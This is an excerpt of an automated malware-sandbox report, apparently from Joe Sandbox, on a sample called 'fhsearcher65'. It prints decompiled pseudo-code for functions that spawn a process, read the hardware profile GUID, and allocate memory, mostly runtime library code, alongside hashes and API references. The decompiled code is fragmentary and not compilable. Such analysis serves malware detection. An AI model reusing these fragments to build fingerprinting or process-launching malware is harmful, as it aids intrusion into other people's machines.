				_t31 =  >=  ? _a4 :  &_a4;
				asm("movlpd [ebp-0x5c], xmm0");
				asm("movlpd [ebp-0x54], xmm0");
				asm("movlpd [ebp-0x4c], xmm0");
				asm("movlpd [ebp-0x44], xmm0");
				asm("movlpd [ebp-0x3c], xmm0");
				asm("movlpd [ebp-0x34], xmm0");
				asm("movlpd [ebp-0x2c], xmm0");
				asm("movlpd [ebp-0x24], xmm0");
				asm("movups [ebp-0x14], xmm0"); // executed
				CreateProcessA(__ecx,  >=  ? _a4 :  &_a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24); // executed
				_t70 = _a24;
				_t77 =  !=  ? _v24.dwProcessId : _t75 | 0xffffffff;
				if(_t70 < 0x10) {
					L4:
					return E0040EF6F(_t77, _t54, _v8 ^ _t79, _t70, _t74, _t77);
				} else {
					_t58 = _a4;
					_t70 = _t70 + 1;
					_t35 = _t58;
					if(_t70 < 0x1000) {
						L3:
						_push(_t70);
						E0040F1B0(_t58);
						goto L4;
					} else {
						_t58 =  *(_t58 - 4);
						_t70 = _t70 + 0x23;
						if(_t35 - _t58 + 0xfffffffc > 0x1f) {
							E004138D7(__ebx, _t70, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t79);
							_t80 = _t81;
							_t40 =  *0x43d054; // 0xd71f2cec
							_v116 = _t40 ^ _t80;
							_push(_t77);
							_t78 = _t58;
							_v244 = _t78;
							_v244 = _t78;
							_t43 = GetCurrentHwProfileA( &_v240); // executed
							__eflags = _t43;
							if(__eflags == 0) {
								_t44 = E004181A9(_t58, __eflags);
								asm("cdq");
								E004055C0(_t78, _t44 % 0xa + 5);
								__eflags = _v24.dwThreadId ^ _t80;
								return E0040EF6F(_t78, __ebx, _v24.dwThreadId ^ _t80, _t44 % 0xa + 5, __edi, _t78);
							} else {
								_t63 =  &_v132;
								 *_t78 = 0;
								_t78[4] = 0;
								_t73 = _t63 + 1;
								_t78[5] = 0xf;
								 *_t78 = 0;
								do {
									_t49 =  *_t63;
									_t63 = _t63 + 1;
									__eflags = _t49;
								} while (_t49 != 0);
								E004026B0(__ebx, _t78,  &_v132, _t63 - _t73);
								__eflags = _v24.dwThreadId ^ _t80;
								return E0040EF6F(_t78, __ebx, _v24.dwThreadId ^ _t80, _t73, __edi, _t78);
							}
						} else {
							goto L3;
						}
					}
				}
			}

0x004066a0
0x004066a0
0x004066a6
0x004066ad
0x004066bc
0x004066cc
0x004066d2
0x004066dc
0x004066e1
0x004066e6
0x004066eb
0x004066f0
0x004066f5
0x004066fa
0x004066ff
0x00406704
0x00406708
0x0040670e
0x00406716
0x0040671d
0x00406747
0x00406757
0x0040671f
0x0040671f
0x00406722
0x00406723
0x0040672b
0x0040673d
0x0040673d
0x0040673f
0x00000000
0x0040672d
0x0040672d
0x00406730
0x0040673b
0x00406758
0x0040675d
0x0040675e
0x0040675f
0x00406760
0x00406761
0x00406769
0x00406770
0x00406773
0x00406774
0x00406779
0x00406780
0x00406786
0x0040678c
0x0040678e
0x004067d6
0x004067db
0x004067e8
0x004067f2
0x004067fd
0x00406790
0x00406790
0x00406793
0x00406799
0x004067a0
0x004067a3
0x004067aa
0x004067b0
0x004067b0
0x004067b2
0x004067b3
0x004067b3
0x004067c0
0x004067cb
0x004067d5
0x004067d5
0x00000000
0x00000000
0x00000000
0x0040673b
0x0040672b

APIs

CreateProcessA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00406708

Strings

D, xrefs: 004066BC

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 74f85e8c1682a5d130f7d58e96ca4b2242020f66a3d2c462b405540fc2dfa94f
Instruction ID: a88b1f16410c4b38ff1fa3c4c7c25716643f86070972c04d345fc23311e7c4a6
Opcode Fuzzy Hash: 74f85e8c1682a5d130f7d58e96ca4b2242020f66a3d2c462b405540fc2dfa94f
Instruction Fuzzy Hash: DC21C531E1034CA7DB14DFA5CE457ADB3B2EB8D704F109319F5147B184EB74AA808B84

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE21 Relevance: 1.6, APIs: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041AED4

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
Instruction ID: c221f7ac5e8c6932a1edfa95820d815ff6babf592bf07900849682513897ee00
Opcode Fuzzy Hash: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
Instruction Fuzzy Hash: 0E315E76A017109F8B14CFAEC48089EB7F2FF8932072586A6D515EB360C334AC56CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00406760 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00406760(void* __ebx, char* __ecx, void* __edi) {
				signed int _v8;
				struct tagHW_PROFILE_INFOA _v132;
				char* _v136;
				void* __esi;
				void* __ebp;
				signed int _t16;
				int _t19;
				signed int _t20;
				intOrPtr _t25;
				intOrPtr* _t36;
				void* _t43;
				char* _t45;
				signed int _t46;

				_t31 = __ecx;
				_t16 =  *0x43d054; // 0xd71f2cec
				_v8 = _t16 ^ _t46;
				_t45 = __ecx;
				_v136 = __ecx;
				_v136 = __ecx;
				_t19 = GetCurrentHwProfileA( &_v132); // executed
				if(_t19 == 0) {
					_t20 = E004181A9(_t31, __eflags);
					asm("cdq");
					E004055C0(_t45, _t20 % 0xa + 5);
					__eflags = _v8 ^ _t46;
					return E0040EF6F(_t45, __ebx, _v8 ^ _t46, _t20 % 0xa + 5, __edi, _t45);
				} else {
					_t36 =  &(_v132.szHwProfileGuid);
					 *_t45 = 0;
					 *((intOrPtr*)(_t45 + 0x10)) = 0;
					_t43 = _t36 + 1;
					 *((intOrPtr*)(_t45 + 0x14)) = 0xf;
					 *_t45 = 0;
					do {
						_t25 =  *_t36;
						_t36 = _t36 + 1;
					} while (_t25 != 0);
					E004026B0(__ebx, _t45,  &(_v132.szHwProfileGuid), _t36 - _t43);
					return E0040EF6F(_t45, __ebx, _v8 ^ _t46, _t43, __edi, _t45);
				}
			}

0x00406760
0x00406769
0x00406770
0x00406774
0x00406779
0x00406780
0x00406786
0x0040678e
0x004067d6
0x004067db
0x004067e8
0x004067f2
0x004067fd
0x00406790
0x00406790
0x00406793
0x00406799
0x004067a0
0x004067a3
0x004067aa
0x004067b0
0x004067b0
0x004067b2
0x004067b3
0x004067c0
0x004067d5
0x004067d5

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00406786

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: f17f27417c8f065701f813eb09d95317f3b87a5289fdd183a209909af8ba3f6c
Instruction ID: d714b2b95f2224b448815aa62425bbc83bd11bc822857164954fa895b8369a5d
Opcode Fuzzy Hash: f17f27417c8f065701f813eb09d95317f3b87a5289fdd183a209909af8ba3f6c
Instruction Fuzzy Hash: 3311E531700219DBDB24EF69D8117AEBBB9EF09708F0005AEE84697381DF7959098B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E469 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0041E469(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t26;

				E0041E23F(__ecx,  &_v32, _a8);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				if(_v12 == 0) {
					L3:
					return 0;
				} else {
					_t26 = E00428A4E( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t26 != 0) {
						goto L3;
					} else {
						 *0x45061c =  *0x45061c + 1;
						asm("lock or [eax], ecx");
						 *((intOrPtr*)(_a16 + 8)) = 0;
						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
						 *((intOrPtr*)(_a16 + 4)) = 0;
						 *_a16 = 0;
						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
						return _a16;
					}
				}
			}

0x0041e47a
0x0041e486
0x0041e487
0x0041e488
0x0041e48f
0x0041e4e8
0x0041e4eb
0x0041e491
0x0041e4a3
0x0041e4ad
0x00000000
0x0041e4af
0x0041e4b2
0x0041e4be
0x0041e4c6
0x0041e4cc
0x0041e4d2
0x0041e4d8
0x0041e4e0
0x0041e4e7
0x0041e4e7
0x0041e4ad

APIs

__wsopen_s.LIBCMT ref: 0041E4A3

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
Instruction ID: 5162db3ed2cc7b1641b74fc0034d3d9bcf3436a32579d71dc6d2726f62cc86ae
Opcode Fuzzy Hash: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
Instruction Fuzzy Hash: 30114875A0020AAFDF05DF59E9419CF7BF4EF48304F04406AF805AB311D634D911CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00425598 Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00425598(void* __edi, void* __eflags) {
				intOrPtr _v12;
				char _t17;
				void* _t18;
				intOrPtr* _t32;
				char _t35;
				void* _t37;

				_push(_t27);
				_t17 = E0041E60B(0x40, 0x38); // executed
				_t35 = _t17;
				_v12 = _t35;
				if(_t35 != 0) {
					_t2 = _t35 + 0xe00; // 0xe00
					_t18 = _t2;
					__eflags = _t35 - _t18;
					if(__eflags != 0) {
						_t3 = _t35 + 0x20; // 0x20
						_t32 = _t3;
						_t37 = _t18;
						do {
							_t4 = _t32 - 0x20; // 0x0
							E0041EC4C(__eflags, _t4, 0xfa0, 0);
							 *(_t32 - 8) =  *(_t32 - 8) | 0xffffffff;
							 *(_t32 + 0xd) =  *(_t32 + 0xd) & 0x000000f8;
							 *_t32 = 0;
							_t32 = _t32 + 0x38;
							 *((intOrPtr*)(_t32 - 0x34)) = 0;
							 *((intOrPtr*)(_t32 - 0x30)) = 0xa0a0000;
							 *((char*)(_t32 - 0x2c)) = 0xa;
							 *((intOrPtr*)(_t32 - 0x2a)) = 0;
							 *((char*)(_t32 - 0x26)) = 0;
							__eflags = _t32 - 0x20 - _t37;
						} while (__eflags != 0);
						_t35 = _v12;
					}
				} else {
					_t35 = 0;
				}
				E0041E668(0);
				return _t35;
			}

0x0042559e
0x004255a5
0x004255aa
0x004255ae
0x004255b5
0x004255bb
0x004255bb
0x004255c1
0x004255c3
0x004255c6
0x004255c6
0x004255c9
0x004255cb
0x004255d1
0x004255d5
0x004255da
0x004255de
0x004255e2
0x004255e4
0x004255e7
0x004255ed
0x004255f4
0x004255f8
0x004255fb
0x004255fe
0x004255fe
0x00425602
0x00425605
0x004255b7
0x004255b7
0x004255b7
0x00425607
0x00425612

APIs

Part of subcall function 0041E60B: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0041D0B5,00000001,00000364,00000007,000000FF,?,0041034B,?,?,?,?), ref: 0041E64C

_free.LIBCMT ref: 00425607

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0c4d97983f8b4a29a01539b421982e8ae8b8b09a2e89f3492c98cbc3817dbcd1
Instruction ID: 73a638dbdd9f854a0db55df4b8f921a5065d5b5cffe0b449897dcdabe0956c14
Opcode Fuzzy Hash: 0c4d97983f8b4a29a01539b421982e8ae8b8b09a2e89f3492c98cbc3817dbcd1
Instruction Fuzzy Hash: FE014E72604726ABC3208F65D8859CAFB98FB043B0F94061EE546A76C0D374AC51C7E8

Uniqueness

Uniqueness Score: -1.00%

Function 004289E0 Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E004289E0(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _t22;
				void* _t25;
				signed int _t28;
				signed int _t29;

				_t25 = __ecx;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				if(E0041A10B(_t25, _a12,  &_v28, E00423EC8(__edx, __eflags)) == 0) {
					_push(_a28);
					_t22 = E00428A6E(_t25, __eflags, _a4, _a8, _v20, _a16, _a20, _a24); // executed
					_t29 = _t22;
				} else {
					_t29 = _t28 | 0xffffffff;
				}
				if(_v8 != 0) {
					E0041E668(_v20);
				}
				return _t29;
			}

0x004289e0
0x004289eb
0x004289ee
0x004289f1
0x004289f4
0x004289f7
0x004289fa
0x00428a14
0x00428a1b
0x00428a30
0x00428a38
0x00428a16
0x00428a16
0x00428a16
0x00428a3e
0x00428a43
0x00428a48
0x00428a4d

APIs

_free.LIBCMT ref: 00428A43

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
Instruction ID: 42ad98ec66ff723c2ea8f1b8b852a83b4f273deb3ee8cb572a3e6ac4fa2ee865
Opcode Fuzzy Hash: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
Instruction Fuzzy Hash: 2B018472D01129BFCF01AFA89C019DE7FB5BF08304F54416BF914E2191EA358A60DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0041E60B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E60B(signed int _a4, signed int _a8) {
				void* _t8;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x450ce0, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E0041CA81();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E004139A1(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						__eflags = E0041A4BC(__eflags, _t19);
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x0041e611
0x0041e616
0x0041e624
0x0041e624
0x0041e62a
0x0041e62c
0x0041e62c
0x0041e643
0x0041e64c
0x0041e654
0x00000000
0x00000000
0x0041e634
0x0041e636
0x0041e658
0x0041e65d
0x0041e663
0x00000000
0x0041e663
0x0041e63f
0x0041e641
0x00000000
0x00000000
0x0041e641
0x00000000
0x0041e643
0x0041e61c
0x0041e622
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0041D0B5,00000001,00000364,00000007,000000FF,?,0041034B,?,?,?,?), ref: 0041E64C

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c8eebbc74677787af7c36d96244fa65b529023c8f115efc6b6e14e7cb2936f58
Instruction ID: 234fdfd545d0bc0ae6371602e75d1919fbff742db80909a16955413fe7625cf1
Opcode Fuzzy Hash: c8eebbc74677787af7c36d96244fa65b529023c8f115efc6b6e14e7cb2936f58
Instruction Fuzzy Hash: 39F0E9396912256BAB215B238C05BDB7748AF717E1FD84127EC0496291CA6CE8C186ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041F0DF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041F0DF(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E004139A1(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x450ce0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0041CA81();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E0041A4BC(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x0041f0e5
0x0041f0eb
0x0041f11d
0x0041f122
0x0041f128
0x00000000
0x0041f128
0x0041f0ef
0x0041f0f1
0x0041f0f1
0x0041f108
0x0041f111
0x0041f119
0x00000000
0x00000000
0x0041f0f9
0x0041f0fb
0x00000000
0x00000000
0x0041f104
0x0041f106
0x00000000
0x00000000
0x0041f106
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0041034B,?,?,?,?,?,00403757,?,?,?), ref: 0041F111

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
Instruction ID: 86ebf47274dc2031eb6c828d0beaf433f1054b8495b9abe0a5457d5ef93c77fd
Opcode Fuzzy Hash: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
Instruction Fuzzy Hash: 59E0A031148220E796213676DC01BDB3648AB413E5F550133EC0592292DB5CCC8785AD

Uniqueness

Uniqueness Score: -1.00%

Function 1000873B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000873B(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E10006406(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x10018340, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E1000B780();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E100068A9(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x10008741
0x10008747
0x10008779
0x1000877e
0x10008784
0x00000000
0x10008784
0x1000874b
0x1000874d
0x1000874d
0x10008764
0x1000876d
0x10008775
0x00000000
0x00000000
0x10008755
0x10008757
0x00000000
0x00000000
0x10008760
0x10008762
0x00000000
0x00000000
0x10008762
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,10003243,?,?,100024B8,0007A120), ref: 1000876D

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9bc71e6e4ec6e68a8c2aed3646502ff683cefb7352d8620f7e826d587402586a
Instruction ID: 67f11896f8f7d2121f3f4df057540a061ed8fd880985c25efa2fb590a71935ec
Opcode Fuzzy Hash: 9bc71e6e4ec6e68a8c2aed3646502ff683cefb7352d8620f7e826d587402586a
Instruction Fuzzy Hash: 82E0E53524D6216AF751D6618C4474A3A88FB413F0F324120FE8C9208CDE64DE0083E0

Uniqueness

Uniqueness Score: -1.00%

Function 00428727 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00428727(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x00428744
0x0042874b

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00428B17,?,?,00000000,?,00428B17,00000000,0000000C), ref: 00428744

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
Instruction ID: 6a3501348c7adacfcd1c424c20773ecf10769bdff7a35cf21c7a2e113d4d802e
Opcode Fuzzy Hash: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
Instruction Fuzzy Hash: 19D06C3210014DFBDF128F85DC06EDA3BAAFB48714F014010BA1856060C772E822AB95

Uniqueness

Uniqueness Score: -1.00%

Function 100069B0 Relevance: 1.5, APIs: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100069B0(intOrPtr _a4) {
				intOrPtr _v8;
				void* _t5;

				_v8 = 0;
				_t5 = E10008701(_a4); // executed
				return _t5;
			}

0x100069b9
0x100069c3
0x100069ca

APIs

_free.LIBCMT ref: 100069C3

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 4a8faf65200c92b95d684da80c623e720def96cf622f0f76f7dc9a0cc9b61c85
Instruction ID: c6a98ba0e5363ae005110d363abbfc5d7111903c5cce904da764f3f1e972a342
Opcode Fuzzy Hash: 4a8faf65200c92b95d684da80c623e720def96cf622f0f76f7dc9a0cc9b61c85
Instruction Fuzzy Hash: 8CC08C31000208FBDB00CB41C846A4E7BA8EB803A4F300044F40417240CAB2FF009A90

Uniqueness

Uniqueness Score: -1.00%

Function 00402E90 Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E90(void* _a4, long _a8, long _a12, long _a16) {
				void* _t5;

				_t5 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t5;
			}

0x00402e9f
0x00402ea6

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E9F

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
Instruction ID: b31a385f3b57fd4fd7166e142863b1bbbb6af29b0bf7193fe4047b5eb220286a
Opcode Fuzzy Hash: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
Instruction Fuzzy Hash: CAC0483200020DFBCF025F82EC048DA3F2AFB08261B408024FA1C04030C7739972ABAA

Uniqueness

Uniqueness Score: -1.00%

Function 00402EB0 Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402EB0(void* _a4, long _a8, long _a12) {
				int _t4;

				_t4 = VirtualFree(_a4, _a8, _a12); // executed
				return _t4;
			}

0x00402ebc
0x00402ec3

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402EBC

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
Instruction ID: bdb844541333acea6d7cc9b38086a4600084955ffe6c4e25b5f0fe259d46e886
Opcode Fuzzy Hash: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
Instruction Fuzzy Hash: E4B0483200020CBB8F021F82EC048993F2AFB08260B448420FA180502087729522AB84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042714F Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E0042714F(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t86;
				void* _t88;
				intOrPtr* _t91;
				intOrPtr* _t95;
				short _t113;
				void* _t114;
				intOrPtr* _t116;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_t84 = _a4;
				_t33 = E0041CF13(__ecx, __edx);
				_t113 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
